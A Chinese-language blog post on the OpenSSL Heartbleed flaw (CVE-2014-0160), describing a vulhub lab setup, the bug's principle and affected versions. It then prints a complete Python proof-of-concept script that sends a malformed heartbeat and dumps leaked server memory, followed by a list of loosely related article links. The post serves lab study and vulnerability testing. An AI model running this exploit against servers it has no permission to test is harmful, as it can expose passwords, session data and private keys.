【研究】

  • 1.环境
  • 2.原理
  • 3.影响版本
  • 4.利用过程

1.环境

环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单

2.原理

2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本的心跳包模块存在严重漏洞(CVE-2014-0160)。攻击者可以通过构造特殊的数据包,直接远程读取存在漏洞的OpenSSL服务器内存中多达64KB的数据,极有可能导致网站用户帐号密码等敏感数据被非法获取。漏洞发现者甚至声称可以直接获取到证书私钥和重要的商业文档。

3.影响版本

OpenSSL 1.0.1f(受影响)
OpenSSL 1.0.1g (不受影响)
OpenSSL 1.0.0 branch (不受影响)
OpenSSL 0.9.8 branch (不受影响)

4.利用过程

http://0day.websaas.com.cn/
简单的可以直接在线检测

测试脚本

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')hb = h2bin('''
18 03 02 00 03
01 40 00
''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print '  %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

【研究】心脏出血漏洞相关推荐

  1. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  2. OpenSSL心脏出血漏洞全回顾

    近日网络安全界谈论的影响安全最大的问题就是Heartbleed漏洞,该漏洞是4月7号国外黑客曝光的.据Vox网站介绍,来自Codenomicon和谷歌安全部门的研究人员,发现OpenSSL的源代码中存 ...

  3. python漏洞检测脚本_一个检测OpenSSL心脏出血漏洞的Python脚本分享

    接自: http://www.jb51.net/article/48858.htm 什么是SSL? SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息.网站采用此加密技术后,第三方无法读 ...

  4. OpenSSL“心脏出血”漏洞爆发和修复方法

    2019独角兽企业重金招聘Python工程师标准>>> 4月8日消息,昨日有国外黑客爆出OpenSSL存在一处内存泄漏漏洞(即OpenSSL"心脏出血"漏洞),该 ...

  5. OpenSSL“心脏出血”漏洞

    OpenSSL"心脏出血"漏洞是一个非常严重的问题.这个漏洞使攻击者能够从内存中读取最多64 KB的数据. AD: 当我分析GnuTLS的漏洞的时候,我曾经说过,那不会是我们看到的 ...

  6. 用OSSIM平台轻松发现“心脏出血”漏洞

    用OSSIM平台轻松发现"心脏出血"漏洞 "心脏出血"漏洞作为目前互联网中存在的最为严重网络安全漏洞,***者借助"心脏出血"漏洞可以获取用 ...

  7. Heartbleed心脏出血漏洞原理分析

    1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这一点,构造异常的 ...

  8. openssl(CVE-2014-0160)心脏出血漏洞复现

    目录 #漏洞简介 #漏洞原理 #漏洞检测 #漏洞利用 #漏洞简介 心脏出血是openssl库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的cookie等敏感信息. Hear ...

  9. linux心跳出血漏洞,heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南)

    heartbleeder 可以探测你的服务器是否存在 OpenSSL CVE-2014-0160 漏洞 (心脏出血漏洞). 什么是心脏出血漏洞? CVE-2014-0160,心脏出血漏洞,是一个非常严 ...

  10. 关于OpenSSL“心脏出血”漏洞的分析

    0x00 背景 原作者:Sean Cassidy 原作者Twitter:@ex509 原作者博客:http://blog.existentialize.com 来源:http://blog.exist ...

最新文章

  1. 《Python Cookbook》 最佳译本开放下载啦!
  2. numpy---one
  3. Day05 egrep正则表达式sed
  4. 利用思科 Webex中的3个漏洞,以 ghost 用户身份参会
  5. [开源]基于WPF实现的Gif图片分割器,提取GIf图片中的每一帧
  6. Settings界面分析之Settings一级界面
  7. 项目管理概论【项目管理基础-第一章 项目与项目管理】
  8. my eclipse2014破解步骤(转载)
  9. 51单片机实现计算器程序
  10. 电子计算机的算数,电子计算机的算术/逻辑单元,控制单元合称为____
  11. 【科创人独家】华旦天使张洁:风口是创业者的造物,投资本质是件农活
  12. python右对齐输出乘法表_python输出九九乘法表
  13. 计算机更改刷新频率,电脑屏幕刷新率怎么调节?怎么更改电脑屏幕刷新率?
  14. mysql in 子查询无法使用索引全表扫描 慎用in
  15. 荧光分子探针Ru(bpy)2(DA-phen)(PF6)2|Ir(ppy)2(DA-phen)PF6合成试剂
  16. SpringBoot 整合activiti5.22 实现一个完整的请假流程
  17. AndroidStudio开发笔记1--第一个app
  18. 淘宝开放平台API接口,接入方案如下
  19. 根据动力节点dubbo笔记
  20. python用glob遍历文件_尝试使用glob遍历python中文件夹中的文件

热门文章

  1. 更简单获取到Bean对象(1)
  2. 腾讯游戏学院------SLG游戏技术【笔记】
  3. C4D R25调节网格间距的方法
  4. 国家税务总局全国增值税发票查验平台验证码刷不出来显示系统繁忙的解决方法
  5. 树莓派 3b jupyter notebook 设置为后台服务
  6. Nginx+Tomcat服务器负载均衡实践方案
  7. 手动Docker部署saber
  8. 红队作业 | 收集xxx.com域名的所有子域名
  9. android简历!剖析Android开发未来的出路在哪里,Android篇
  10. 石英晶振的基本原理与电路设计